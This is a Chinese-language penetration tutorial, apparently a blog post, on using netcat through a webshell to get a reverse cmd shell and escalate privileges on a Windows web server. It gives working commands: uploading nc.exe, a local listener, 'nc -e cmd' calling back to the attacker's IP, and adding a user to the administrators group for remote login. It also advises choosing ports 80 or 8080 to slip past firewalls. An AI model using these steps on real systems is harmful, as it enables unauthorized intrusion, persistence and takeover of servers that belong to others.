Server-U等都不可以用的情况下.   一般都可思考用此方法
不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口…   那么这种方法也失效了….

1:通过shell将上传NC和CMD传到站点目录下(这里一定上传的注意权限,最好是可读写目录下)
web目录都是有写有读的权限,我们直接传NC进去

渗透之——NC反弹CMDSHELL提权总结_安全技术

2:然后本地执行nc -vv -lp 52进行反弹

渗透之——NC反弹CMDSHELL提权总结_渗透测试_02

3:在shell命令下执行
F:\wwwroot\img\nc.exe  -e cmd上传路径  IP(外网IP)  52(这里是本机端口)

渗透之——NC反弹CMDSHELL提权总结_渗透测试_03

4:在shell里执行命令后,马上看到本地CMS里已经反弹上去了,执行net user 也是成功.

渗透之——NC反弹CMDSHELL提权总结_渗透技术_04

5:直接添加用户,然后远程去连接!

渗透之——NC反弹CMDSHELL提权总结_渗透技术_05

看到添加成功,也设置为管理组了!接下来直接远程连接就OK!​

 

不少人NC提权没有成功过,因为其中的原因是你没有降低权限,而导致了NC提权失败

失败总结:

1.反弹端口

网上不少文章写 反弹端口445 110 什么的,你当防火墙白痴是不是,我建议看一下端口有没有8080端口,如果没有8080端口的话,要反弹8080
端口,这样被防火墙阻止的概率较小

2.降低运行权限

1.现在本地监听一个端口

nc -vv -l -p 8080 //最好是80或8080这样的端口,被防火墙拦截的几率很小。

2.在WebShell运行下面命令连接我们监听的端口得到CmdShell:

nc -vv IP 8080 -e C:\Documents and Settings\All Users\Documents\cmd.exe //假设cmd.exe是上传在"C:\Documents and Settings\All Users\Documents\"这个目录